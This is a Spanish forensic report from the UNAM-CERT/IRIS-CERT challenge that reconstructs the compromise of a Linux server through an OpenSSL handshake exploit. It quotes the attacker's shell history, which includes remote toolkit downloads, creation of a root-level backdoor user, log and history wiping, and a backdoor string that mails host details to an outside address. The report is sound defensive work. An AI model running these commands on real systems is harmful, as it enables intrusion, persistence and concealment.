Reto de Análisis Forense V2.0 UNAM CERT / IRIS CERT

Transcripción

1 Reto de Análisis Forense V2.0 UNAM CERT / IRIS CERT Informe Tecnico Ing.-Juan Angel Hurtado 1

2 1.- Introducción Descripción del documento Objetivo Audiencia Resumen Procedimiento Aplicado Preparación del laboratorio Búsqueda y análisis de evidencia Resumen y resultados Resumen y resultados Perfil y motivación del atacante Recomendaciones y conclusiones Agradecimientos. 33 Anexo Anexo Anexo Anexo

3 1.- Introducción Descripción del documento. Descripción: Informe Tecnico sobre el análisis forense realizado a una plataforma Linux comprometida, como participante en el Reto de Análisis Forense V2.0 propuesto por UNAM-CERT/IRIS-CERT y demás convocantes. Autor: Ing. Juan Angel Hurtado Sanchez Fecha de elaboración: 18/Feb/ Objetivo. El presente documento tiene como fin describir de una forma técnica el procedimiento usado y resultados obtenidos del análisis forense aplicado a la plataforma propuesta de modo que pueda ser usado como referencia por personas interesadas en la seguridad informática como una introducción en la realización análisis de dicho tipo Audiencia. La audiencia pretendida es cualquier persona con conocimientos de sistemas de cómputo interesada en la seguridad de dichos sistemas. Este documento pretende ser una referencia a fin de cumplir con el objetivo planteado en la convocatoria del Reto Forense V2.0 ( El objetivo de este Reto Forense V2,0 es motivar el desarrollo en el área de cómputo forense en Ibero América ) Resumen. En atención al Reto Forense V2.0 propuesto por UNAM-CERT / IRIS CERT se ofrece este documento que pretende ser una vista técnica del procedimiento y resultados obtenidos. El análisis de la plataforma en cuestión fue realizado sobre una plataforma Linux Fedora Core 3 utilizando para ello los comandos del sistema operativo (strings, cat, grep, ls, etc;), algunos scripts de autoría propia, así como el set de herramientas de The sleuthkit (Aun que se prefirió el uso de comandos del SO, a fin de que quienes utilicen 3

4 este documento como referencia no se formen una idea de dependencia hacia alguna herramienta). El análisis esta basado en una línea de tiempo del sistema comprometido, fechas de modificación de los archivos y la información extraída de la evidencia proporcionada para el Reto. Los hechos en este documento se describen siempre como supuestos, esto es debido a que ante la imposibilidad de observar el pasado, el analista forense recaba evidencia y puede suponer que fue lo que paso, sin embargo no puede darse el lujo de afirmar que lo que el supone es exactamente lo que paso. Se procura evitar formular acusaciones ya que la función del analista forense es la de tratar de describir y reconstruir hechos, las acciones de acusar, juzgar y condenar corresponden a las autoridades que cada País destine para ello. 2.- Procedimiento Aplicado Preparación del laboratorio. Primero es necesario instalar el sistema anfitrión que servirá como laboratorio de trabajo. Para esto se eligió un sistema Linux Fedora Core 3 montado sobre una partición de disco de 5 GB. La instalación se siguió de acuerdo al Anaconda (Anaconda es el instalador de Fedora). La documentación acerca de Fedora puede ser encontrada en El sistema tiene instalado además Windows XP, ahí se descargaron y descompactaron los archivos.dd a analizar por cuestiones de espacio (La partición de Windows XP es de 17 GB), sin embargo estos pueden ser accesazos desde Linux gracias a la compatibilidad con NTFS. Una vez descompactados se obtienen los siguientes archivos: hda1.dd hda2.dd hda3.dd hda5.dd hda6.dd firmas.txt A fin de verificar que los archivos no hayan sufrido modificaciones durante la descarga y/o descompresión se verifica la firma de cada uno con el comando md5sum. El resultado es comparado con el contenido del archivo firmas.txt: 4

5 #md5sum hda1.dd 639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd #md5sum hda2.dd a3b9a3464d6f8e2494bca7126ec621b1 hda2.dd #md5sum hda3.dd b90bbfb f c hda3.dd #md5sum hda5.dd 0c5ad84632aa4d6612f21f37c5bc4c4f hda5.dd #md5sum hda6.dd eb99858c421ae0a48ac dff57c hda6.dd Una firma distinta indicaría que el archivo no es idéntico al original, pudiendo ser que se descargara completo o hubiese sido alterado. Una vez corroboradas todas las firmas, se procede revisar los archivos.dd obtenidos (En un análisis forense completo, hubiese sido conveniente interrogar a los administradores y tomar mas evidencia, ante la imposibilidad de esto se procede con el análisis del sistema de archivos (File System) directamente). Para ello se monta el primero de los archivos.dd como un File System en loop mediante el comando mount y en modo de solo lectura para evitar alterar la escena del crimen : # mount -ro,loop hda1.dd /mnt/escena/ Ahora podemos acceder al contenido de hda1.dd a través de /mnt/escena/, en lo consecuente las referencias a / (root del sistema comprometido) serán referencias a /mnt/escena en el sistema anfitrión. Al acceder nos damos cuenta que la estructura pertenece a un sistema basado en Unix (Aun que por la descripción del Reto de antemano sabíamos que se trataba de un sistema Linux). El contenido de hda1.dd parece corresponder al File System raíz (root). En un primer reconocimiento ingresamos al directorio /etc y aplicamos el comando ls -lsa para listar el contenido del mismo. Usando el comando more accedemos al contenido de algunos archivos que nos parecen de interés. La existencia del archivo /etc/redhatrelease nos muestra que el sistema pertenece a la distribución de Linux Red Hat mientras que el contenido del archivo nos muestra la versión del mismo Red Hat Linux release 7.3 (Valhalla). Otro archivo de interés es /etc/sysconfig/network, cuyo contenido nos muestra el nombre de la maquina finanzas y el gateway que utilizaba En /etc/sysconfig/network-scripts/ 5

6 encontramos la configuración de la interfaz eth0 en los archivos ifcfg-eth0 y ifcfg-eth0:1, donde podemos ver que la maquina tenia 2 IP's en una sola interfaz de red física( y ), dichos archivos datan del 20 de Enero y a reserva de que hubiesen sido modificados nos dan una idea de cuando pudo haber sido el ultimo re-boot de la maquina. Los directorios /etc/cron.d/ y /etc/cron.daily/ contienen información acerca de los procesos que la maquina corría como cron, encontramos un proceso que analizaba los logs del sistema LogWatcher, logwatcher es un paquete que viene con las distribuciones de RedHat, analiza los logs del sistema operativo y envía un correo con un resumen de ellos, en este caso el correo era enviado a root. Finalmente revisamos los archivos /etc/mtab y /etc/fstab que nos muestran la distribución que tenia el File System. En /etc/mtab encontramos que la distribución era la siguiente: /dev/hda1 / ext3 rw 0 0 none /proc proc rw 0 0 usbdevfs /proc/bus/usb usbdevfs rw 0 0 none /dev/pts devpts rw,gid=5,mode= /dev/hda2 /home ext3 rw 0 0 none /dev/shm tmpfs rw 0 0 /dev/hda5 /usr ext3 rw 0 0 /dev/hda3 /var ext3 rw 0 0 En con esto comprobamos que el archivo hda1.dd corresponde al file system /, ahora sabemos además que hda2.dd corresponde a /home, hda3.dd a /var y hda5.dd a /usr. En /etc/fstab encontramos además que hda6.dd estaba destinado a swap. Con esto ya podemos reconstruir todo el file system usando el comando mount como lo hicimos con hda1.dd, dado que durante el análisis tendremos que montar y desmontar los dd con cierta frecuencia realizamos dos scripts para automatizar la tarea (Únicamente hda6.dd no será montado por tratarse de swap ). Dichos scripts aparecen en este mismo documento en el Anexo 1. Instalamos además las herramientas que usaremos para el análisis (Sleuthkit y Autopsy) las herramientas y las instrucciones para su instalación pueden ser encontradas en 6

7 Finalmente pluma y papel para tomar notas y con esto ya tenemos nuestro laboratorio listo. Montamos los File System s a analizar con nuestro script monta.sh (En el Anexo 1 encontrara información para modificar el script a su conveniencia): #./monta.sh Podemos ahora iniciar la búsqueda y análisis de evidencia. 2.2 Búsqueda y análisis de evidencia. La fecha de los archivos /etc/sysconfig/networkscripts/ifcfg-eth0 y /etc/sysconfig/network-scripts/ifcfg-eth0:1 nos indica la ultima vez que se iniciaron los servicios de red en el sistema, lo cual puede ser un indicativo de la ultima vez que se reinicio el equipo (Mas adelante buscaremos evidencia de ello). sabemos que las imágenes estuvieron disponibles a partir del 1 de Febrero del año en curso por lo que de momento suponemos que el ataque sucedió entre el 20 de Enero y el 1 de Febrero de este año. Nos dirigimos a /var/log a fin de analizar los log's del equipo, sin embargo encontramos que no existen log's en dicho directorio solamente se encuentran dos archivos: # ls -lsa total rwxr-xr-x 1 root root Jan 29 15:26 4 drwxr-xr-x 2 root root 4096 Jan 31 04:02. 4 drwxr-xr-x 20 root root 4096 Jan 20 09: rw-r--r-- 1 root root 9209 Jan 31 04:02 rpmpkgs El archivo rpmpkgs contiene las firmas de los paquetes que originalmente han sido instalados en la maquina, una practica interesante es verificar que las firmas correspondan a lo que se tiene actualmente instalado (De esa forma es posible detectar si algún programa a sido adulterado), sin embargo el archivo rpmpkgs del sistema aparece con fecha 31 de Enero, como anteriormente supusimos que el ataque se dio entre el 20 de Enero y el 1 de Febrero existe posibilidad que dicho archivo haya sido adulterado para burlar el análisis forense, por tanto de momento descartamos 7

8 dicho ejercicio. Por otro lado resulta bastante sospechosa la primer línea ya que muestra un archivo con nombre (vació) de fecha ENE- 29, pudiendo ser algún programa que el atacante tratara de ocultar nombrándolo de esa forma. El comando more nos muestra que no se trata de un archivo de texto asi que de momento vaciamos el contenido del archivo mediante la sentencia strings < > archivomisterioso.txt. Al analizar el contenido de archivomisterioso.xtx encontramos que probablemente sea una herramienta utilizada por el atacante para abrir un backdoor, de momento guardamos la información y continuamos con el análisis, las siguientes líneas fueron encontradas en dicho archivo. socket bind listen Port for Alinutu :P PID = %d touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat /etc/*release >> /tmp/.info; /sbin/ifconfig grep inet >> /tmp/.info; cat /tmp/.info mail -s 'Port nou' radautiteam@yahoo.com /usr/tmp /dev/null HOME=%s Nu pot forta PTY, pa-pa! Los archivos contenidos en /var/log indican que el atacante probablemente llego a tener privilegios de superusario y haya borrado los archivos de log de la maquina. Trataremos de recuperar lo que sea posible de estos archivos de los archivos hda3.dd y hda6.dd, damos un primer vistazo con el comando strings < hda3.dd grep 'finanzas' more, aplicamos también para hda6.dd (swap). El buscar cadenas de texto basados en patrones también va a ser una tarea que haremos varias veces durante el análisis, asi que usaremos un pequeño script de autoría propia para ello. El script hecho en perl aparece en el Anexo 2 de este documento, básicamente le daremos un archivo de entrada, uno de salida y el patrón a buscar, lo que hará el strip será buscar en el archivo de entrada aquellas líneas que contengan la palabra clave y las depositara en el archivo de salida, usaremos como patrón de búsqueda la palabra finanzas, que es el nombre del host's según lo encontramos anteriormente: #./parser.pl finanzas hda3.dd finanzashda3dd.txt & #./parser.pl finanzas hda6.dd finanzashda6dd.txt & 8

9 Mientras que de hda6.dd no obtuvimos mas que 3 líneas sin relevancia, de hda3.dd (Que es el File System que originalmente contenía los log's) pudimos recuperar fragmentos de los archivos de log de la maquina. El log recuperado confirma que la maquina sufrió un re-boot el 20 de Enero alrededor de las 16:33 (Tiempo de la Ciudad de México según el reloj del sistema comprometido, todos los tiempos serán referentes a esta zona horaria ya que es la que se encontró en el archivo /etc/sysconfig/clock de la maquina). Alrededor de las 16:44 levanta los servicios de MySQL, un Web Server (Probablemente Apache), sendmail, cron, anacron, y ssh. Casi una hora mas tarde comienza un ataque de diccionario (Password Guessing), un ataque de este tipo intenta adivinar el password (Haciendo conexiones vía ssh en este caso) probando posibles combinaciones de usuarios/passwords provenientes de una lista hecha (diccionario), el ataque proviene de varios orígenes y duraría varios días. Dado que no encontramos log s en el equipo revisamos el archivo /var/mail/root puesto que según data en los directorios /etc/cron.d y /etc/cron.daily en la maquina corrían varios procesos que generaban estadísticos del sistema (Logwatcher) y los enviaban por correo a root, esperamos que el superusuario root aun conserve alguno de ellos. Descubrimos que dicho archivo contiene bastante información del ataque de diccionario, sin embargo al revisar de forma mas detallada el archivo /var/mail/root nos damos cuenta de que entre intentos se repiten los usuarios, probablemte el atacante este dando vueltas al mismo diccionario, o varios atacantes estén usando el mismo diccionario. Por esta razón descartamos que el incidente se haya producido a partir de dicho ataque (Ya que el (los) atacante(s) estuvieron repitiendo el mismo diccionario), aun asi se anexa en este mismo documento un resumen de dicho ataque en el Anexo 4. Continuando con el archivo /var/mail/root, existen correos del Log Watcher hasta el 29 de Enero a las 4:02 AM, curiosamente a partir del mismo 29 pero a las 15:30 horas aparecen mensajes como el que sigue: From root Sat Jan 29 15:30: Return-Path: <root@localhost.localdomain> Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id j0tlu0h

10 for root; Sat, 29 Jan :30: Date: Sat, 29 Jan :30: Message-Id: From: (Cron Daemon) To: Subject: Cron /usr/lib/sa/sa1 1 1 X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> Cannot open /var/log/sa/sa29: No such file or directory Los mensajes continúan hasta el día 31 de Enero a las 15:20. Ahora bien, tenemos actividad del log-watcher hasta el día 29 (Cuando procesó los logs del día anterior 28 de Enero), el mismo día 29 la herramienta sysstat que corría cada 10 min. según el archivo /etc/cron.d/sysstat comienza a reportarla falta de archivos en el directorio de /var/log a partir de las 15:30, en el mismo directorio se encontró una herramienta de Hacking oculta bajo el nombre (vació), dicha herramienta data del mismo día 29 de Enero a las 15:26. Partiendo de esto generamos dos ejercicios de investigación, por un lado generamos una lista de archivos cuya fecha de sea 29 de Enero, y por otro lado utilizamos nuestro script para buscar dentro de hda3.dd y hda6.dd usando el patrón 'Jan 29', los comandos a utilizar son: 1) #ls -lrsa /mnt/escena/ grep 'Jan 29' > $HOME/archivosdel29.txt 2) #parser.pl 'Jan 29' hda3.dd Jan29hda3.txt 3) #parser.pl 'Jan 29' hda6.dd Jan29hda6.txt Una vez que ordenamos y depuramos los resultados que nos genera el comando 1 (Dicha lista aparece completa en el Anexo 3), encontramos la siguiente cronología: A las 4:02 AM se ejecuta el webalizer (Que es un analizador de logs para Web Server's). A las 15:16 una serie de archivos en el directorio /dev/ accedidos, llama la atención también el /bin/gawk, por otro lado se encuentran los archivos /dev/hdx1 y /dev/hdx2, estos archivos son creados por el virus RST.b: 10

11 29 ene 15:16 /bin/gawk ene 15:16 /bin/gawk 29 ene 15:16 /dev/hdx2 29 ene 15:16 /dev/hdx1 A las 15:17 aparecen los siguientes archivos, parecen indicar la creación del un usuario weed : 29 ene 15:17 disco1/home 29 ene 15:17 disco1/var/spool/mail/weed 29 ene 15:17 disco1/home/weed 29 ene 15:17 disco1/home 29 ene 15:17 disco1/home/lost?.. 29 ene 15:17 disco1/home/contador.. 29 ene 15:17 disco1/home/weed/.bashrc 29 ene 15:17 disco1/home/weed/.bash_profile 29 ene 15:17 disco1/home/weed/.bash_logout Entre 15:20 y 15:21 una gran cantidad de archivos en /usr/include son modificados. Posteriormente a las 15:22 aparecen archivos.bash_history en /root a las 15:25, se modifican una varios archivos dentro de /etc y aparece otro bash_history esta ves en /. Analicemos ahora la actividad que quedo registrada en los.bash_history siendo el primero el encontrado en /root que se cerro a las 15:22. y el segundo el que se encuentra en / que se cerro a las 15:27, ambos pertenecieron al súper usuario root. Se intercalan comentarios en rojo: Archivo /root/.bash_history ls lista el contenido del directorio dir lista el contenido del directorio ps xc lista los procesos que corren bajo el usuario (root en este caso) wget xhack.150m.com/sc.tgz descarga sc.tgz desde xhack.150m.com, este archivo contiene un colección de shell codes o utilerías para el hacker, con varios propósitos desde expulsar la unidad de CD- ROOM, evadir IDS, ejecutar código etc; tar -zxvf sc.tgz desempaqueta el contenido de sc.tgz cd sc ingresa al directorio sc./inst instala lo que parece ser un sniffer que se carga en memoria. Este archivo estaba contenido en sc.tgz./sk ejecuta el script sk, con esto pone un funcion el sniffer w lista a los usuarios que se encuentran logueados en la maquina, 11

12 probablemente para ver quien esta con el en ese momento. wget xhack.150m.com/https Descarga del mismo sitio el script https perl https Ejecuta el script https que aparenta ser un perl script que funge como backdoor contiene funciones de cliente de IRC, la configuración del mismo le permitiría conectarse a eu.undernet.org y ejecutar algunas funciones como escaneo de puertos y ejecución de un ataques y comandos de manera remota. Al analizar el script básicamente se deduce que al ejecutarlo se conecta a eu.undernet.org como el usuario bitch, el atacante entonces puede iniciar una conversación con el y a través de el ejecutar comandos, escáner puertos y/o ejecutar ataques. cd.. rmrm -rf sc* Elimina la evidencia acerca de sc.tgz Archivo /.bash_history id Verifica la identidad del usuario /usr/sbin/adduser -g 0 -u 0 -o weed Agrega un usuario weed con privilegios de root. Probablemente para conservar el acceso remoto al equipo. passwd weed Asigna password a el usuario weed /sbin/ifconfig grep "inet" Verifica las IP s del equipo ls sa Lista el contenido del directorio. dir Lista el contenido del directorio. /usr/sbin/userdel weed Elimina al usuario que acaba de crear. ls sa Lista el contenido del directorio. dir Lista el contenido del directorio. rm -rf za* Elimina todo archivo o directorio que comienza con za. rm -rf own Elimina todo archivo o directorio own. /usr/sbin/adduser -g 0 -u 0 -o weed Vuelve a crear el usuario weed. passwd weed Assign password a el usuario weed wget Descarga crk.tar.gz. Este archivo contiene un rootkit y un backdoor, este archivo trae algunas cosas bastante interesantes que detallamos mas abajo. Un análisis con el antivirus nos muestra que estos archivos están infectados con alguna variante del virus RST.b tar xzvf crk.tar.gz Desempaqueta el archivo. cd crk Ingresa al directorio crk../install eliteaza 1 Ejecuta el instalador, el primer argumento es un password a usarse par realizar conexiones de ssh, el segundo argumento es el puerto en que se levanta el backdoor de ssh. Este script debe de ser ejecutado como root revisando el código del shell script install encontramos las siguientes líneas: 12

13 killall -9 syslogd (Esta linea mata el syslog) rm -rf /var/log/* (Esta linea elimina los logs) unset HISTFILE (Esta linea desactiva el guardado del historial) unset HISTSAVE (Esta linea desactiva el guardado del historial) rm -rf /bash.history Elimina el historial de comandos rm -rf /root/.bash_history Elimina el historial de comandos, asi que probablemente aquí fue donde se eliminaron los logs de el equipo. id Verifica el usuario nuevamente. Parece que algo salio mal. su Intenta convertirse en root. Aun que todo párese indicar que ya root en ese momento cd crk Otra vez intenta instalar dir./install eliteaz 9933 Esta vez instala en el puerto 9933 ssh -l weed localhost Intenta conectarse con el usuario weed ls sa Lista el contenido dir Lista el contenido nuevamente. Es evidente que algo no va bien. passwd weed Cambia el password y reintenta la conexión. ssh -l weed localhost eliteazazel Finalmente opta por eliminar el usuario weed userdel weed /usr/sbin/userdel weed Nuevamente lista el contenido y esta vez elimina un archivo own y sc/* puede haber sido otro intento de instalar el mismo troyano descrito anteriormente. ls =-sa dir rm -rf own cd sc dir cd.. rm -rf sc* Se cambia al directorio /var/log crea un directorio daemon, descarga el archivo pico, lo oculta llamándolo y finalmente lo ejecuta. Este archivo es el que habíamos encontrado anteriormente y al cual llamamos archivo misterioso, como ya vimos se trata de un backdoor. cd /var/log dir mkdir daemon wget chmod +x pico mv pico " " export PATH="." " " Mata el proceso zbind. zbind es una utilería generalmente contenida en za.tgz junto a los archivos za, y zero (Aquí se 13

14 explica que anteriormente halla borrado todo lo referente a za*.), existe poca información al respecto, sin embargo parece tratarse de un backdoor que abre un puerto en la maquina para recibir conexiones telnet en el puerto 4000 y obtener una shell como root. Es de notar que no haya evidencia de que haya bajado dicha utilería, ni evidencia de su ejecución. Por tanto es probable que dichas acciones hayan sido tomadas como otro usuario del sistema y a través de ellas haya obtenido el acceso como root (Elevación de privilegios). /usr//sbin/killall -9 zbind /usr/sbin/killall -9 zbind /usr/bin/killall -9 zbind bash Bien hasta aquí sabemos que el sistema fue comprometido el día 29 de Enero entre las 15:00 y las 15:30, también tenemos un historial de lo que realizo el atacante al menos hasta las 15:27, Continuemos con nuestra revisión, a las 15:25 se modificaron una gran cantidad de archivos en /etc, probablemente se deba a la instalación de un rootkit: 29 ene 15:25 /etc/dhcpc.. 29 ene 15:25 /etc/default.. 29 ene 15:25 /etc/skel.. 29 ene 15:25 /etc/iproute ene 15:25 /etc/makedev.d.. 29 ene 15:25 /etc/hotplug.. 29 ene 15:25 /etc/security.. 29 ene 15:25 /etc/openldap.. 29 ene 15:25 /etc/alternatives A las 15:36 se instala w00t, un sniffer con escáner de puertos. Que como veremos más adelante también proporciona una herramienta para realizar un exploit a servidores de samba vulnerables: 29 ene 15:36 /var/tmp w00t 29 ene 15:36 /var/tmp/w00t pscan ene 15:36 /var/tmp/w00t. Y finalmente un huellas de un servidor Proxy de IRC el psybnc: 29 ene 15:46 /var/tmp/psybnc/psybnc.pid 29 ene 15:46 /var/tmp/psybnc/log/psybnc.log 29 ene 15:48 /var/tmp/psybnc/log 29 ene 15:48 /var/tmp/psybnc/log/user1.trl 29 ene 15:48 /var/tmp/psybnc/log. 29 ene 15:49 /var/tmp/psybnc motd 14

15 29 ene 15:49 /var/tmp/psybnc/motd/user1.motd 29 ene 15:49 /var/tmp/psybnc/motd. 29 ene 17:53 /var/tmp/psybnc/psybnc.conf.old 29 ene 17:53 /var/tmp/psybnc/psybnc.conf Con eso termina la actividad del atacante el día 29. En este punto podemos ya generar un perfil del atacante, si usamos la clasificación que comúnmente se usa para denominar a los Hackers según sus habilidades y conocimientos, y asumimos tres niveles siendo Elite Hackers el nivel mas alto, Hackers el nivel medio y Script Kiddie's el nivel mas bajo. Es evidente que nuestro atacante se ubicaría en el nivel mas bajo Script Kiddie's. Las razones para ubicarlo ahí son: a) El atacante utilizo herramientas y utilerías disponibles en la red. Mientras que los Hacker's, y los Elite Hacker's prefieren utilizar herramientas escritas por ellos, los Script Kiddie's utilizan generalmente herramientas que encuentran en la red y medio conocen su funcionamiento. Las razones de un Hacker para preferir una herramienta escrita por el son varias, una herramienta que se encuentre en la red podrá ser rastreada (Como lo hicimos aquí), probablemente deje una firma que pueda ser detectada, el escribir sus propias herramientas da mas realce al nombre del Hacker (Lo ubica como Elite), etc; b) En varias ocasiones el atacante parece no saber que hacer. Mas que un atacante con plan de actividades bien realizado (Es decir un atacante que haya planeado vulnerar intencional y específicamente este equipo), da la impresión de que llego ahí por mera casualidad, y, una vez dentro trato de hacer cuando pudo, no seria una sorpresa que hubiese usado un escáner de vulnerabilidades probando varias redes hasta que dio con nuestra maquina. c)las consecuencias legales de un ataque informático pueden ser varias. El muy dudoso que algún Hacker de Elite se arriesgara a enfrentar un proceso Judicial por chatear en el IRC. Dicho esto prosigamos con el análisis, dado que ya sabemos que el ataque se produjo el día 29 de Enero, repetiremos el ejercicio de análisis de fechas para los días 30 y 31 a fin de recabar más información los comandos a utilizar son: #ls -lrsa /mnt/escena/ grep 'Jan 30' > $HOME/archivosdel30.txt #ls -lrsa /mnt/escena/ grep 'Jan 31' > $HOME/archivosdel31.txt 15

16 Los resultados de estos los analizamos mas adelante, para seguir un orden veamos ahora lo que obtuvimos al parsear los archivos hda3.dd y hda6.dd con nuestro script. Nuevamente hda6.dd (swap) nos queda mal, no pudimos obtener nada de ahí, pero de hda3.dd(/var), encontramos algo muy interesante, los del Apache Web Server, dichos log's son fuerte indicativo acerca de la forma en que el atacante llego a la victima, intercalo comentarios en rojo: [Sat Jan 29 12:11: ] [error] [client ] File does not exist: /var/www/html/pk/service (aquí busca el archivo pk/service que forma parte de una vulnerabilidad es una muestra de que el servidor estaba bajo escaneos de vulnerabilidades) [Sat Jan 29 12:11: ] [error] [client ] File does not exist: /var/www/html/pk/service(lo mismo que el anterior) [Sat Jan 29 14:57: ] [error] [client ] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /(Aquí el atacante envía una consulta de HTTP/1.1 mal formado, note que el log indica la falta del tag Host) [Sat Jan 29 14:57: ] [error] [client ] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /(Lo mismo que el anterior con un segundo de diferencia, otra indicación de un escáner de vulnerabilidades (Tuvo que ser automatizado, nadie teclea tan rápido)) [Sat Jan 29 14:58: ] [error] mod_ssl: SSL handshake failed (server :443, client ) (OpenSS L library error follows)(se produce un crash en mod_ssl, note como el error hace referencia al handshake) [Sat Jan 29 14:58: ] [error] OpenSSL: error: f:lib(20):func(105):reason(143)(openssl falla) [Sat Jan 29 15:00: ] [error] mod_ssl: SSL handshake failed (server :443, client ) (OpenSS L library error follows) (Se repiten las líneas anteriores, rcordemos que al atacante mando dos o mas consultas de HTTP en menos de un segundo, note la hora del ultimo error 15:14, apenas unos minutos antes de que comenzara la actividad anormal en el equipo) [Sat Jan 29 15:00: ] [error] OpenSSL: error: f:lib(20):func(105):reason(143) [Sat Jan 29 15:10: ] [error] mod_ssl: SSL handshake failed (server :443, client ) (OpenSS L library error follows) [Sat Jan 29 15:10: ] [error] OpenSSL: error: f:lib(20):func(105):reason(143) 16

17 [Sat Jan 29 15:14: ] [error] mod_ssl: SSL handshake failed (server :443, client ) (OpenSS L library error follows) [Sat Jan 29 18:19: ] [error] System: No existe el fichero o el directorio (errno: 2)(Despues de varias fallas el Apache + mod_ssl parece no volver a recuperarse) [Sat Jan 29 18:19: ] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys tem error follows) [Sat Jan 29 18:19: ] [error] System: No existe el fichero o el directorio (errno: 2) [Sat Jan 29 18:19: ] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys tem error follows) [Sat Jan 29 18:19: ] [error] System: No existe el fichero o el directorio (errno: 2) [Sat Jan 29 18:19: ] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys tem error follows) [Sat Jan 29 18:19: ] [error] System: No existe el fichero o el directorio (errno: 2) [Sat Jan 29 18:19: ] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys tem error follows) Se recuperan además unas líneas del psybnc, como ya sabemos que el atacante instalo este servidor Proxy de IRC no exponemos esas líneas, sin embargo como la mayoría del material aquí expuesto se adjunta la evidencia en los archivos de apoyo enviados junto a este reporte. Volviendo a lo que nos ocupa, es evidente que la falla en el Apache se relaciona de algún modo con las actividades del atacante, tomamos nota de la IP que corresponde según a un proveedor de Hosting en Reno Nevada EEUU llamado Altaway, y ejecutamos nuestro script esta vez usando como palabra clave Jan, esto lo hacemos recordando que el sistema inicio el 20 de Enero asi que esperamos encontrar una linea [notice] del log de Apache que nos ayude a identificar la versión del mismo. Encontramos una linea del 23 de enero que nos indica además la versión de OpenSSL usada: [Sun Jan 23 04:02: ] [notice] Apache/ (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PH P/4.1.2 mod_perl/1.26 configured -- resuming normal operations además en el archivo /etc/httpd/conf/httpd.conf encontramos evidencia de que el servicio de SSL estaba activo: 17

18 <IfDefine HAVE_SSL> Listen 80 Listen 443 </IfDefine> Con esta información nos dirigimos a la red, en busca de vulnerabilidades conocidas para la combinación Apache/ (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b Y encontramos que dicha combinación es vulnerable debido a un fallo que permite obtener una shell remota al realizar un HandShake de ssl enviando un paquete especialmente malformado, dicha vulnerabilidad se encuentra documenta en encontramos que existen varios exploit's para esta vulnerabilidad e incluso un gusano llamado slapper-worm. Sin embargo las líneas de log que obtuvimos del log de Apache coinciden particularmente con las firmas del exploit openssl-too-open o alguna de sus variantes, este exploit escrito por Solar Eclipse se aprovecha de la vulnerabilidad existente en la versión de OpenSSL/0.9.6 que permite mediante el envió paquetes especialmente formados provocar un Buffer Overflow en el OpenSSL Handshake al enviar una KEY_ARG especialmente larga, y asi obtener una shell con el usuario que corre el Apache Web Server regularmente nobody o como en este caso apache, para poder realizar el exploit es necesario enviar dos solicitudes de SSL, la primera provocara el buffer overflow y la segunda llevar una carga especial de código shell (Esto explicaría el hecho de las solicitudes hechas al Apache en lapsos de un segundo). Un punto interesante del exploit, es que la actividad realizada por el usuario nobody o apache no queda registrada. Una vez que el atacante ha obtenido acceso al equipo puede modificar las paginas Web, o descargar/subir herramientas para obtener privilegios de root. Este exploit regularmente incluye otra herramienta openssl-scanner a la que se le pueden suministrar varias IP's para automatizar la tarea (Este pudiera ser el escáner de vulnerabilidades que habíamos supuesto uso). No es la intención de este documento centrarse en la descripción de dicho exploit asi que solo se describe a grandes 18

19 rasgos su funcionamiento, sin embargo se recomienda ampliamente leer el documento llamado Traveling Through the OpenSSL Door escrito por Keven Murphy para SANS Institute que describe de forma bastante detallada el exploit y la vulnerabilidad, dicho documento puede ser hallado en Adicionalmente hemos encontrado que este exploit se ha empaquetado con otras herramientas para realizar escaneos masivos de host's, en búsqueda de maquinas vulnerables (Un ejemplo es el paquete atd.tgz, cuya descripción se encuentra en ) Siguiendo las líneas de log que coinciden con las firmas del exploit antes mencionado encontramos que la última quedo registrada a las 15:14:57: [Sat Jan 29 15:14: ] [error] mod_ssl: SSL handshake failed (server :443, client ) (OpenSS L library error follows) Apenas dos minutos antes de comenzara la actividad anormal en el equipo. Llegado este punto recapitulamos brevemente nuestros hallazgos. Suponemos que el atacante estaba realizando un escaneo buscando especialmente explotar la vulnerabilidad de Apache/ OpenSSL 0.9.6b cuando se topo con nuestro Host, usando el exploit opensslto-open vulnero exitosamente el equipo y obtuvo una shell bajo el usuario apache (Que era el usuario que corría el Web Server). Descargo e instalo la serie de utilerías contenidas en za.tgz. y ejecuto el backdoor zbind que le permitió abrir una shell en el puerto 4000 con probables permisos de root o ejecuto alguna de las otras herramientas para obtener los permisos del superusuario. A partir de ahí descargo y ejecuto una serie de herramientas para mantener el acceso remoto(de las cuales una estaba infectada con una variante del virus RST.b), dio de alta un usuario weed con privilegios de superusuario y finamente instalo un IRC Proxy Server. Para corroborar nuestra teoría de que el sistema esta además infectado con un virus realizamos una prueba ejecutando el comando strings < gawk more (Elegimos este archivo por ser de los primeros en ser modificados). Y ahí encontramos la firma del virus: /dev/hdx SQRVW ZY[= ZY[= _^ZY[ SQRVW 19

